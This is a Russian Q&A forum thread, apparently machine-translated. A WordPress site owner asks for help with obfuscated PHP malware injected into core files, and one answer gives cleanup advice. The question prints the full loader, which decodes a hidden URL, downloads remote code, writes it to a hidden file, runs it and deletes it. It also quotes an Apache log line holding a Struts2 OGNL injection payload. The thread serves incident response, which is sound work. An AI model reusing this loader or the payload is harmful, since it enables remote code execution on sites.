Странный скрипт атаки, вставленный в код WordPress - PullRequest
1 голос
/ 03 апреля 2019

Со вчерашнего сайта WordPress нельзя было получить доступ, и на нем отображалось только сообщение, начатое с этим

Загрузочный файл для установки константы ABSPATH и загрузки файла wp-config.php. Затем файл wp-config.php загрузит файл wp-settings.php, который затем настроит среду WordPress.

Я быстро деактивировал сайт, изучил код и обнаружил несколько подозрительных PHP-скриптов, вставленных в wp-load.php, wp-setting.php, в несколько частей в wp-inlcude / functions.php. Кто-нибудь скажет мне, что он пытался сделать?

Какова ваша рекомендация для моего следующего шага? Я восстановил веб-страницу благодаря резервной копии, и похоже, что атака не затронула базу данных, но я беспокоюсь о том, какую информацию они получили от этого.

Это скрипт:

<?php
@ini_set('display_errors', '0');
error_reporting(0);
if (!$npDcheckClassBgp) {
$ea = '_shaesx_'; $ay = 'get_data_ya'; $ae = 'decode'; $ea = str_replace('_sha', 'bas', $ea); $ao = 'wp_cd'; $ee = $ea.$ae; $oa = str_replace('sx', '64', $ee); $algo = 'default'; $pass = "Zgc5c4MXrLUvdAsS7swbOuvdPFbQdr9dm2WSGbE=";
if (ini_get('allow_url_fopen')) {
    function get_data_ya($url) {
        $data = file_get_contents($url);
        return $data;
    }
}
else {
    function get_data_ya($url) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8);
        $data = curl_exec($ch);
        curl_close($ch);
        return $data;
    }
}
function wp_cd($fd, $fa="")
{
   $fe = "wp_frmfunct";
   $len = strlen($fd);
   $ff = '';
   $n = $len>100 ? 8 : 2;
   while( strlen($ff)<$len )
   {
      $ff .= substr(pack('H*', sha1($fa.$ff.$fe)), 0, $n);
   }
   return $fd^$ff;
}
$reqw = $ay($ao($oa("$pass"), 'wp_function'));
preg_match('#gogo(.*)enen#is', $reqw, $mtchs);
$dirs = glob("*", GLOB_ONLYDIR);
foreach ($dirs as $dira) {
    if (fopen("$dira/.$algo", 'w')) { $ura = 1; $eb = "$dira/"; $hdl = fopen("$dira/.$algo", 'w'); break; }
    $subdirs = glob("$dira/*", GLOB_ONLYDIR);
    foreach ($subdirs as $subdira) {
        if (fopen("$subdira/.$algo", 'w')) { $ura = 1; $eb = "$subdira/"; $hdl = fopen("$subdira/.$algo", 'w'); break; }
    }
}
if (!$ura && fopen(".$algo", 'w')) { $ura = 1; $eb = ''; $hdl = fopen(".$algo", 'w'); }
fwrite($hdl, "<?php\n$mtchs[1]\n?>");
fclose($hdl);
include("{$eb}.$algo");
unlink("{$eb}.$algo");
$npDcheckClassBgp = 'aue';
}
?>

Я нашел это в моих логах apache:

Имя файла слишком длинное: доступ к /%ually(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony. xwork2.ActionContext.container ']). (# ognlUtil = # container.getInstance (@ com.opensymphony.xwork2.ognl.OgnlUtil @ класс)). (# ognlUtil.getExcludedPackageNames (). ясно ()). (# ognlUtil. getExcludedClasses (). Clear ()). (# context.setMemberAccess (#dm)))). (# Рез = @ org.apache.struts2.ServletActionContext @ GetResponse ()). (# res.addHeader ( 'eresult', 'struts2_security_check'))} / не удалось

1 Ответ

1 голос
/ 03 апреля 2019

Ваш лучший выбор - стереть все и начать с нуля.Если это невозможно:

  1. Удалите все подозрительные файлы PHP, особенно в каталоге wp-content.
  2. Проверьте дату последнего изменения всех файлов PHP WordPress.Ищите что-нибудь еще подозрительное.(Их можно подделать, но злоумышленники редко беспокоятся.)
  3. Удалите все ваши плагины.Почти каждый плагин WordPress, который я проверял, был полон серьезных уязвимостей, и даже не стоило сообщать о них.Все, что от Automattic, обычно безопасно, но кроме этого все ставки выключены.Все, что связано с электронной почтой (подписки, списки рассылки и т. Д.), Кроме JetPack, содержит множество уязвимостей - я проверял многие из них и не нашел ни одного, который был бы безопасным.
  4. Задайте этот вопрос на стеке безопасностиОбменивайтесь , если вам нужно быть еще более внимательным или ваш сайт содержит особо важные данные.
  5. Если ваш сайт собирает личные данные, включая адреса электронной почты, уведомите всех о том, что ваш сайт был взломан.В некоторых юрисдикциях и отраслях это может требоваться по закону;вам следует проконсультироваться с юристом, если вас беспокоят юридические обязательства.
...